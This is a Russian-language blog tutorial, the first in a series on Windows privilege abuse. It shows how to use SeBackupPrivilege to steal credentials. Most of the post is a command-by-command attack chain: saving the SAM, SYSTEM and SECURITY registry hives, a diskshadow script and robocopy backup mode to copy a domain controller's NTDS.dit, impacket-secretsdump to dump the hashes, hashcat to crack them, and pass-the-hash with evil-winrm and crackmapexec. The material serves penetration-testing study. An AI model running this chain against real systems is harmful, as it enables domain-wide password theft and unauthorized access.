Перейти к основному содержимому
  1. Posts/

SeBackupPrivilege

Windows Privilege Escalation SeBackupPrivilege Impacket-Secretsdump SAM Diskshadow Hashcat Evil-Winrm Crackmapexec Robocopy
breach.zone
Автор
breach.zone
Оглавление
Windows Privilege Abuse - This article is part of a series.
Part 1: This Article

Эта серия статей о повышении привелегий в системе за счет использования различных привелегий которыми обладает пользователь.

SeBackupPrivilege
#

В этой статье пойдет речь о том, как можно эксплуатировать привелегию SeBackupPrivilege путем извлечения хешей паролей из локальной базы данных SAM или из NTDS.dit контроллера домена.

whoami /priv
whoami /priv
whoami /priv

SAM
#

Security Account Manager (SAM) — это локальная база данных пользователей, содержащая информацию о локальных учётных записях (тех, которые существуют только на данном компьютере, а не в домене). Содержит хэши паролей для локальных пользователей.

SYSTEM
#

Хэши паролей в SAM зашифрованы с использованием ключей, хранящихся в SYSTEM. Для того, чтобы их скопировать достаточно выполнить пару команд, при условии, что пользователь обладает правами SeBackupPrivilege.

cd c:\
mkdir Temp
reg save hklm\sam c:\Temp\sam
reg save hklm\system c:\Temp\system

Далее необходимо извлечь хэши, например с помощью impacket-secretsdump.

impacket-secretsdump -system system -sam sam LOCAL
impacket-secretsdump
impacket-secretsdump

SECURITY
#

В ветке реестра hklm\security хранятся закэшированные пароли пользователей домена, которые логинились на эту машину. Мы точно также можем извлечь эти хеши, как и из SAM.

reg save hklm\security C:\Temp\security

Извлечение хэшей

secretsdump.py -system system -security security LOCAL

NTDS.dit
#

Если есть доступ к контроллеру домена и пользователю у которого есть привелегия SeBackupPrivilege, то мы можем извлечь файл NTDS.dit в котором хранятся NTLM-хэши паролей и Kerberos ключи от всех пользователей домена.

Но с копированием NTDS.dit есть одна особенность. Файл NTDS.dit не может быть скопирован напрямую, так как он постоянно используется системой и заблокирован для доступа. Для его извлечения используется техника создания теневой копии (Volume Shadow Copy), которая позволяет создать консистентный снимок тома и безопасно скопировать файл без нарушения работы системы.

Создание теневой копии
#

Для создания теневой копии мы будем использовать утилиту Diskshadow.

Diskshadow
#

Создадим файл script.txt.

set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
set context persistent
begin backup
add volume C: alias cdrive
create
expose %cdrive% E:
end backup
  • set metadata : Указывает место хранения метаданных.
  • set context clientaccessible : Копия будет доступна для чтения.
  • set context persistent : Теневая копия не будет удалена автоматически.
  • add volume C: : Указывает, что мы создаём теневую копию для тома C:.
  • expose %cdrive% E: : Монтирует теневую копию как диск E:.

Запускаем создание теневой копии:

diskshadow /s script.txt

Если возникла ошибка с выполнением скрипта, то скорее всего проблема заключается в кодировке или переносе строк.

Diskshadow error
Diskshadow error

Это можно попробовать исправить из PowerShell.

Get-Content script.txt | Set-Content -Encoding ASCII fixed_script.txt

И снова запустить diskshadow

diskshadow /s fixed_script.txt
Diskshadow success
Diskshadow success

Копирование NTDS.dit
#

Для этого воспользуемся утилитой robocopy. Флаг /b (Backup Mode) позволяет обходить ACL и копировать защищённые файлы с использованием привилегии SeBackupPrivilege.

robocopy /b E:\Windows\NTDS\ C:\Temp\ ntds.dit

Извлечение хешей
#

impacket-secretsdump -system system -ntds ntds.dit LOCAL
impacket-secretsdump
impacket-secretsdump

Cleanup
#

Демонтирование теневой копии.

Команда:

delete shadows volume c:

Сохраним ее в файл unmount.txt и запустим diskshadow.

diskshadow /s unmount.txt

Post Exploitation
#

Hash cracking
#

С помощью Hashcat мы можем попробовать подобрать пароли к полученным хэшам.

hashcat -m 1000 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt

Pass the hash
#

Если хэши взломать не удалось, то их можно использовать в различных утилитах выполняя атаку pass-the-hash.

Пару примеров ниже:

evil-winrm
#

evil-winrm -i <target_ip> -u <username> -H <NTLM-хэш>

crackmapexec
#

crackmapexec smb <target_ip> -u <username> -H <NTLM-хэш>

Заключение
#

Со временем я буду пополнять серию новыми статьями по данной теме, используйте меню вверху и внизу страницы для навигации.

Подписывайтесь на мой Telegram канал Breach_Zone и твиттер Breach_Zone!

Windows Privilege Abuse - This article is part of a series.
Part 1: This Article